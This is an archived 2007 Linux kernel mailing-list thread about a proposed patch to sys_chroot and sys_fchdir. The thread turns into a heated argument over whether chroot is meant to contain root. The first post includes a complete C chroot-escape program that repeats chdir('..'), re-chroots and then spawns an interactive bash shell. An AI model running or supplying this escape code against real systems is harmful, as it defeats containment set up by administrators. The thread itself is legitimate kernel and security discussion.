Skip to contentSkip to conversation

sys_chroot+sys_fchdir Fix

DISCUSSION majkls 10 participants 34 messages Sep 19, 2007 – Sep 28, 2007 4 messages not in the archive

lore
Share & tools
lore

majkls

author
#0 lore raw

Hello,
here is an fix to an exploit (obtained somewhere in internet). This exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible (with sufficient filedescriptor (if there is na directory fd opened in root) workaround chroot with sys_fchdir. This patch fixes it.

Miloslav Semler

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c 2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
}
follow_mount(&nd->mnt, &nd->dentry);
}
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ struct vfsmount *rootmnt, struct dentry *root)
+ {
+ struct nameidata oldentry, newentry;
+ long ret = 1;
+
+ read_lock(&current->fs->lock);
+ oldentry.dentry = dget(wdentry);
+ oldentry.mnt = mntget(wdmnt);
+ read_unlock(&current->fs->lock);
+ newentry.dentry = oldentry.dentry;
+ newentry.mnt = oldentry.mnt;
+
+ follow_dotdot(&newentry);
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+
+ while(oldentry.mnt != newentry.mnt ||
+ oldentry.dentry != newentry.dentry){
+
+ memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ follow_dotdot(&newentry);
+
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+ }
+ out:
+ dput(newentry.dentry);
+ mntput(newentry.mnt);
+ return ret;
+ }

/*
* It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c 2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
out:
return error;
}
+ long directory_is_out(struct vfsmount *, struct dentry*,
+ struct vfsmount *, struct dentry *);

asmlinkage long sys_fchdir(unsigned int fd) {
*************** asmlinkage long sys_fchdir(unsigned int *** 581,586 ****
--- 583,591 ----
error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;
+ if (directory_is_out(mnt, dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto out_putf;

error = file_permission(file, MAY_EXEC); if (!error)
*************** out:
*** 594,600 ****
asmlinkage long sys_chroot(const char __user * filename) {
struct nameidata nd;
! int error;

error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd); if (error)
--- 599,605 ----
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error, set_wd = 0;

error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd); if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;
+ error = -ENOTDIR;
+ /*
+ if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto dput_and_out;
+ */
+ set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd,
+ nd.mnt, nd.dentry);

set_fs_root(current->fs, nd.mnt, nd.dentry); set_fs_altroot();
+ /* if wd is out, reset it to . */
+ if(set_wd)
+ set_fs_pwd(current->fs, nd.mnt, nd.dentry);
error = 0;
dput_and_out:
path_release(&nd);

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

/*
** You should set NEED_FCHDIR to 1 if the chroot() on your ** system changes the working directory of the calling ** process to the same directory as the process was chroot()ed ** to.
**
** It is known that you do not need to set this value if you ** running on Solaris 2.7 and below.
**
*/
/*#define NEED_FCHDIR 0*/

  	 #define TEMP_DIR "waterbuffalo"  

/* Break out of a chroot() environment in C */

int main() {
int x; /* Used to move up a directory tree */
int done=0; /* Are we done yet ? */
#ifdef NEED_FCHDIR
int dir_fd; /* File descriptor to directory */
#endif
struct stat sbuf; /* The stat() buffer */

  	   puts("chroot()");
	   chroot(".");  
  	  /* chdir("/");
	  setuid(65534); */

/*
** First we create the temporary directory if it doesn't exist */

	   if (stat(TEMP_DIR,&sbuf)<0) {  

if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else if (!S_ISDIR(sbuf.st_mode)) {
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); exit(1);
}

  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Now we open the current working directory  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
  	     fprintf(stderr,"Failed to open \".\" for reading - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	 #endif  
  	    
  	 /*  
  	 ** Next we chroot() to the temporary directory  
  	 */  
  	   if (chroot(TEMP_DIR)<0) {  
  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
  	             strerror(errno));  
  	     exit(1);  
  	   }  

#ifdef NEED_FCHDIR
/*
** Partially break out of the chroot by doing an fchdir() **
** This only partially breaks out of the chroot() since whilst ** our current working directory is outside of the chroot() jail, ** our root directory is still within it. Thus anything which refers ** to "/" will refer to files under the chroot() point. **
** Note: Only required if chroot() changes the calling program's
** working directory to the directory given to chroot().
**
*/
if (fchdir(dir_fd)<0) {
fprintf(stderr,"Failed to fchdir - %s\n",
strerror(errno));
exit(1);
}
close(dir_fd);
#endif

/*
** Completely break out of the chroot by recursing up the directory ** tree and doing a chroot to the current working directory (which will ** be the real "/" at that point). We just do a chdir("..") lots of ** times (1024 times for luck :). If we hit the real root directory before ** we have finished the loop below it doesn't matter as .. in the root ** directory is the same as . in the root.
**
** We do the final break out by doing a chroot(".") which sets the root ** directory to the current working directory - at this point the real ** root directory.
*/
for(x=0;x<1024;x++) {
chdir("..");
}
chroot(".");

  	 /*  
  	 ** We're finally out - so exec a shell in interactive mode  
  	 */  
  	   if (execl("/bin/bash","-i",NULL)<0) {  
  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
  	     exit(1);  
  	   }  
  	 }  
#1 lore raw
Quoted 5 lines · On Wed, 19 Sep 2007 09:19:50 +0200 majkls <[email protected]> wrote:

Hello,
here is an fix to an exploit (obtained somewhere in internet). This exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible (with sufficient filedescriptor (if there is na directory fd opened in root) workaround chroot with sys_fchdir. This patch fixes it.

If you have the ability to use chroot() you are root. If you are root you can walk happily out of any chroot by a thousand other means.

Alan

#2 lore raw
Quoted 10 lines · Alan Cox
Quoted 2 lines · On Wed, 19 Sep 2007 09:19:50 +0200 majkls <[email protected]> wrote:

Hello,
here is an fix to an exploit (obtained somewhere in internet). This exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible (with sufficient filedescriptor (if there is na directory fd opened in root) workaround chroot with sys_fchdir. This patch fixes it.

If you have the ability to use chroot() you are root. If you are root you can walk happily out of any chroot by a thousand other means.

I thought this was to prevent breaking out of chroot as a normal user.
ie. chroot /var/myjail /bin/su - guest
or similar.

Signature · 3 lines
Bill Davidsen <[email protected]>
  "We have more to fear from the bungling of the incompetent than from
the machinations of the wicked."  - from Slashdot
#3 lore raw
Quoted 3 lines

I thought this was to prevent breaking out of chroot as a normal user.
ie. chroot /var/myjail /bin/su - guest
or similar.

Normal users cannot use chroot() themselves so they can't use chroot to get back out

#4 lore raw
Quoted 3 lines

Normal users cannot use chroot() themselves so they can't use chroot to get back out

I think Bill is right, that this is to fix a method that non-root processes can use to escape their chroot. The exploit, which is documented in chroot(2)*, is to chdir("..") your way out. Who'd have thought it? Only root can do that, but even that seems wrong. Chroot should be chroot and that should be the end of it.

It looks to me like Miloslav has found a bug, although I suspect there's a simpler solution because non-root is already prevented from escaping this way.

David

* In particular, the superuser can escape from a ‘chroot jail’ by doing ‘mkdir foo; chroot foo; cd ..’.

#5 lore raw
Quoted 3 lines · David Newall

* In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20
=91mkdir foo; chroot foo; cd ..=92.

No, he can not.

#6 lore raw
Quoted 6 lines · On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi <[email protected]> wrote:
Quoted 3 lines · David Newall

* In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20
=91mkdir foo; chroot foo; cd ..=92.

No, he can not.

The superuser can escape that way - its expected and fine behaviour

#7 lore raw
Quoted 10 lines · Alan Cox
Quoted 5 lines · On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi <[email protected]> wrote:
Quoted 3 lines · David Newall

* In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20
=91mkdir foo; chroot foo; cd ..=92.

No, he can not.

The superuser can escape that way - its expected and fine behaviour

Does not work for me, and that would be the EXACT thing chroot is supposed to prevent. Maybe you guys are thinking of a program that calls chroot() but leaves cwd outside the chroot still being able to navigate outside of it?

#8 lore raw
Quoted 8 lines · Phillip Susi
Quoted 7 lines · Alan Cox
Quoted 4 lines · On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi <[email protected]> wrote:
Quoted 3 lines · David Newall

* In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20
=91mkdir foo; chroot foo; cd ..=92.

Quoted 8 lines
Quoted 3 lines
Quoted 1 line

No, he can not.

The superuser can escape that way - its expected and fine behaviour

Does not work for me, and that would be the EXACT thing chroot is supposed to prevent. Maybe you guys are thinking of a program that calls chroot() but leaves cwd outside the chroot still being able to navigate outside of it?

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

If you are within chroot jail and capable of chroot(), you can chdir to its root, then chroot() to subdirectory and you've got cwd outside of your new root. After that you can chdir all way out to original root.

Again, this is standard behaviour. Changing it will not yield any security improvements, so kindly give that a rest.

#9 lore raw
Quoted 4 lines · Al Viro

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed.

#10 lore raw
Quoted 8 lines · On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[email protected]> wrote:
Quoted 4 lines · Al Viro

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed.

Go try them, then come back and admit your error

#11 lore raw
Quoted 10 lines · Alan Cox
Quoted 7 lines · On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[email protected]> wrote:
Quoted 5 lines · Al Viro

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

Quoted 5 lines
Quoted 2 lines

I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed.

Go try them, then come back and admit your error

I've made no error. The documentation says what it says, and what it doesn't say, other than for Linux, is that there is an unspecified way of breaking out.

If you're so keen on trying things, then I challenge you to try it on, oh, say, BSD, and then admit your error. (Such hostile words.)

#12 lore raw
Quoted 3 lines

I've made no error. The documentation says what it says, and what it doesn't say, other than for Linux, is that there is an unspecified way of breaking out.

Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't) and I've also don't security work on a pile of systems. Your assumptions and your whole mental model of this are horribly broken.

Quoted 2 lines

If you're so keen on trying things, then I challenge you to try it on, oh, say, BSD, and then admit your error. (Such hostile words.)

FreeBSD isn't a Unix system, and isn't compliant to the spec. Its also still trivial to get out of a freebsd chroot using things like ptrace. FreeBSD jails on the other hand do what you confusedly seem to think should happen with chroot. They are seperate precisely because they are different.

Alan

#13 lore raw
Quoted 2 lines · Alan Cox

Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't)

My, my, you can be unpleasant when you try. There's no need for it. As it happens I have years of UNIX experience on you. (Newbie!)

You've got an idea that the original intention was for there to be a way to escape from a chroot, but that the documentation was written so that, not only was this not mentioned, but what was written implies otherwise. You've also got some idea that because it's the way it is, therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness.

#14 lore raw
Quoted 3 lines

therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness.

Well if citing standards documents at people is rudeness so be it.

Alan

#15 lore raw
Quoted 1 line · Alan Cox

Well if citing standards documents at people is rudeness so be it.

I hate to get involved in this, but actually chroot() is no longer part of SuS as of version 3.

For other Unix versions, both Tru64 (5.1B) and Solaris (9) chroot(2) man pages also say the working directory is unaffected by chroot(). The Solaris man page explicitly mentions using fchdir() to reset the root to a previously opened directory however.

On Tru64 and Solaris, the chroot command does call chdir() after chroot(), but that is a userspace thing.

#16 lore raw
In reply to Alan Cox

Alan,

Quoted 4 lines · Alan Cox
Quoted 2 lines

therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness.

Well if citing standards documents at people is rudeness so be it.

Did you just tell a porky? Did you just (again) say something calculated to give a false belief? I think so.

This is not a citation:

Quoted 4 lines

It does change the root, it just doesn't guarantee you can't change it back - which is correct POSIX, Unix, SuS behaviour. So either everyone else is wrong or you are.. I know who I am betting on

That was you implying that standard documents say things that they don't. But yes, that was the first time.

Care to let it drop?

David

#17 lore raw

You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine.

Alan

#18 lore raw
Quoted 3 lines · Alan Cox

You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine.

How bizarre. Last email you claimed to quote the standards (but you never did.) Your becoming an embarrassment. You were rude, and multiple times. Please just drop it while you retain a shred of dignity.

#20 lore raw
Quoted 3 lines · Alan Cox

** Plonk **

Welcome to my killfile.

Well that's a relief.

#21 lore raw
In reply to David Newall
Quoted 8 lines · David Newall
Quoted 4 lines · Al Viro

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed.

OK, the possibilities are
* you've discovered a bug in all Unices (BTW, even FreeBSD *does*
allow to break out of some chroots in that fashion; RTFS and you'll see - just pay attention to setting fdp->fd_jdir logics in kern/vfs_syscalls.c:
change_root(); it sets jail boundary on _first_ chroot and if you've got nested chroots, you can leave them just fine by use of SCM_RIGHTS to hold directory descriptor). All hail David, nevermind that this behaviour had been described in Unix FAQs since _way_ back.
* you've misunderstood the purpose of chroot(), the fact that
behaviour in question is at the very least extremely common on Unix and the fact that any code relying on root-proof chroot(2) is broken and needs to be fixed, simply because chroot is _not_ root-proof on (at least) almost all systems.

Note that the last statement applies in both cases; it's simply reality. Insisting that behaviour known for decades is a bug since it contradicts your rather convoluted reading of the standards... Looks rather silly, IMO, but that has zero practical consequences anyway. Userland code can't rely on root-proof chroot(2), period.

#22 lore raw
In reply to David Newall
Quoted 8 lines · On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[email protected]> wrote:
Quoted 4 lines · Al Viro

Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense?

I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed.

So how about reading up on the subject instead?

*spends five minutes with Google*

Quoted 1 line

From the OpenBSD FAQ (an operating system most know for being really,

really focused on security):

http://www.openbsd.org/faq/faq10.html

Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2).

Solaris:

http://www.softpanorama.org/Solaris/Security/solaris_privilege_sets.shtml

You must be root to make the chroot() call, and you should quickly change to non-root (a root user can escape a chroot environment, so if it's to be effective, you need to drop that privilege).

A chroot FAQ:

http://www.unixwiz.net/techtips/chroot-practices.html

There are well-known techniques used to escape from jail, but the most common one requires root privileges inside the jail.

Another chroot FAT one linked to from the previous one:

http://www.bpfh.net/simes/computing/chroot-break.html

This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented.

Whilst chroot() is reasonably secure, a program can escape from its trap.

Yet Another FAQ, this time about secure Unix Programming:

http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/

chroot() only limits the file system scope and nothing else.

[further descriptions of how to break out of chroot, with and without root privileges]

Convinced?

/Christer

Signature · 3 lines
"Just how much can I get away with and still go to heaven?"

Christer Weinigel <[email protected]>  http://www.weinigel.se
#23 lore raw
Quoted 11 lines · Christer Weinigel

*spends five minutes with Google*

From the OpenBSD FAQ (an operating system most know for being really, really focused on security):

http://www.openbsd.org/faq/faq10.html

Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2).

For sure, "a root user can get out of a chroot a million different ways." Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does.

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's the problem. Even fchdir is no problem, because you choose which file descriptors to leave open. Fchdir is actually one of the answers. ("What if we need a way to escape?")

The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do:

"If the program is already running with an altered root directory, the process's current directory is changed to the same new root directory. This prevents the current directory from being further up the directory tree than the altered root directory." -- OpenBSD man 2 chroot

This was no more than an attempt to fix a long-standing bug.

As stated, opinion is divided as to whether this is a bug. I think it is, and many people agree, for example some of the BSDs and probably others; some people don't. Young Alan, for example, ummm, strongly (is a good word) disagrees. I don't see that it calls for nastiness or emotion, and although opinion on this august list is divided, apparently the nays are in the majority. We should leave it at that.

#24 lore raw
Quoted 5 lines · David Newall

...
Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't.
...

You are claiming "They went so far as to say that dot-dot wouldn't let you out"?

Who are the "they" people you are referring to?

And where did "they" explicitely state what you claim they did say?

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#25 lore raw
Quoted 2 lines · Adrian Bunk

You are claiming "They went so far as to say that dot-dot wouldn't let you out"?

I phrased it in a somewhat conversational way. The promise, which I've now quoted from multiple sources, is expressed variously, including:

Quoted 2 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

#26 lore raw
Quoted 10 lines · David Newall
Quoted 3 lines · Adrian Bunk

You are claiming "They went so far as to say that dot-dot wouldn't let you out"?

I phrased it in a somewhat conversational way. The promise, which I've now quoted from multiple sources, is expressed variously, including:

Quoted 3 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

You claimed:

<-- snip -->

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't.

<-- snip -->

You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it.

The OpenBSD manpage you quoted in this thread states chroot() was added in 4.2BSD, and 4.2BSD was released in 1983.

You should therefore either bring a source where the people who designed chroot() in 1983 or earlier are stating what you claim they said or admit that you were talking utter bullshit.

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#27 lore raw
Quoted 12 lines · Adrian Bunk

<-- snip -->

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't.

<-- snip -->

You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it.

Quoted 6 lines

The OpenBSD manpage you quoted in this thread states chroot() was added in 4.2BSD, and 4.2BSD was released in 1983.

You should therefore either bring a source where the people who designed chroot() in 1983 or earlier are stating what you claim they said or admit that you were talking utter bullshit.

chroot() is present in v7, thank you very much. /usr/sys/sys/sys4.c has

chdir()

{
        chdirec(&u.u_cdir);
}

chroot()

{
        if (suser())
                chdirec(&u.u_rdir);
}

and back then it didn't stop lookups by .. at all - u_rdir is only used in the beginning of namei() (when pathname starts with /), plus the obvious refcounting in exit()/newproc(). So give me a break - back when it had been introduced, it didn't do anything jail-like _at_ _all_.

That check appears only in BSD:
@@ -1,4 +1,4 @@

-/*     vfs_lookup.c    4.4     03/06/81        */
+/*     vfs_lookup.c    4.5     81/03/09        */

#include "../h/param.h"
#include "../h/systm.h"
@@ -107,6 +107,9 @@

        u.u_segflg = 1;
        eo = 0;
        bp = NULL;

+ if (dp == u.u_rdir && u.u_dent.d_name[0] == '.' &&
+ u.u_dent.d_name[1] == '.' && u.u_dent.d_name[2] == 0)
+ goto cloop;

eloop:

with spectaculary lousy commit message ("lint and a minor fixed") by wnj. Feel free to ask Bill Joy WTF he had intended. At a guess, more consistent behaviour in chrooted environment (i.e. pathname resolution looking as if the subtree had been everything).

To talk about root-safety of _anything_ at that point is bloody ridiculous.

#28 lore raw
In reply to Adrian Bunk
Quoted 10 lines · Adrian Bunk

You claimed:

<-- snip -->

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't.

<-- snip -->

You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it.

You've ignored the operative phrase, "I think".

#29 lore raw
Quoted 9 lines · David Newall
Quoted 8 lines · Adrian Bunk

You claimed:

<-- snip -->

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't.

Quoted 7 lines
Quoted 5 lines

<-- snip -->

You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it.

You've ignored the operative phrase, "I think".

So you start a paragraph with "Look, when chroot was being designed" and all the contents of this paragraph only comes from your imagination and contradicts the facts...

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#30 lore raw
In reply to David Newall
Quoted 6 lines · On Thu, 27 Sep 2007 06:49:28 +0930 David Newall <[email protected]> wrote:

For sure, "a root user can get out of a chroot a million different ways." Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does.

Quoted 7 lines

The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do:

So keep reading the links I gave you:

http://www.unixwiz.net/techtips/chroot-practices.html

The chroot call itself does not change the working directory, so if the new root is below the current directory, the application can still have access outside resources.

http://www.bpfh.net/simes/computing/chroot-break.html

chdir("/foo/bar");
chroot("/foo/bar");

Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in.

http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/

The chroot() call itself will only change the root file system in the process' context. A chroot() call must be followed by a chdir("/") call in order to reset the current working directory.

So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling.

/Christer

Quoted 51 lines · On Thu, 27 Sep 2007 06:49:28 +0930 David Newall <[email protected]> wrote:
Quoted 11 lines · Christer Weinigel

*spends five minutes with Google*

From the OpenBSD FAQ (an operating system most know for being really, really focused on security):

http://www.openbsd.org/faq/faq10.html

Any application which has to assume root privileges to operate
is pointless to attempt to chroot(2), as root can generally escape a

    chroot(2).

For sure, "a root user can get out of a chroot a million different ways." Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does.

Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's the problem. Even fchdir is no problem, because you choose which file descriptors to leave open. Fchdir is actually one of the answers. ("What if we need a way to escape?")

The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do:

"If the program is already running with an altered root directory, the process's current directory is changed to the same new root directory. This prevents the current directory from being further up the directory tree than the altered root directory." -- OpenBSD man 2 chroot

This was no more than an attempt to fix a long-standing bug.

As stated, opinion is divided as to whether this is a bug. I think it is, and many people agree, for example some of the BSDs and probably others; some people don't. Young Alan, for example, ummm, strongly (is a good word) disagrees. I don't see that it calls for nastiness or emotion, and although opinion on this august list is divided, apparently the nays are in the majority. We should leave it at that.

#31 lore raw
Quoted 5 lines · Christer Weinigel

So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling.

Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason.

Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion?

- Ted

#32 lore raw
Quoted 16 lines · Theodore Tso
Quoted 6 lines · Christer Weinigel

So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling.

Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason.

Quoted 3 lines

Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion?

It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability.

Signature · 3 lines
bill davidsen <[email protected]>
 CTO TMR Associates, Inc
 Doing interesting things with small computers since 1979
#33 lore raw
Quoted 1 line · Bill Davidsen

It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability.

Correct. BSDs solved the problem by changing cwd on subsequent use of chroot; I think there's a better way. I think the solution might be to add a "previous root", and restrict the process there as well as the new root. That is, once cwd is set within the new root, that new root is the limit. Prior to setting cwd within the new root, the previous root is the limit.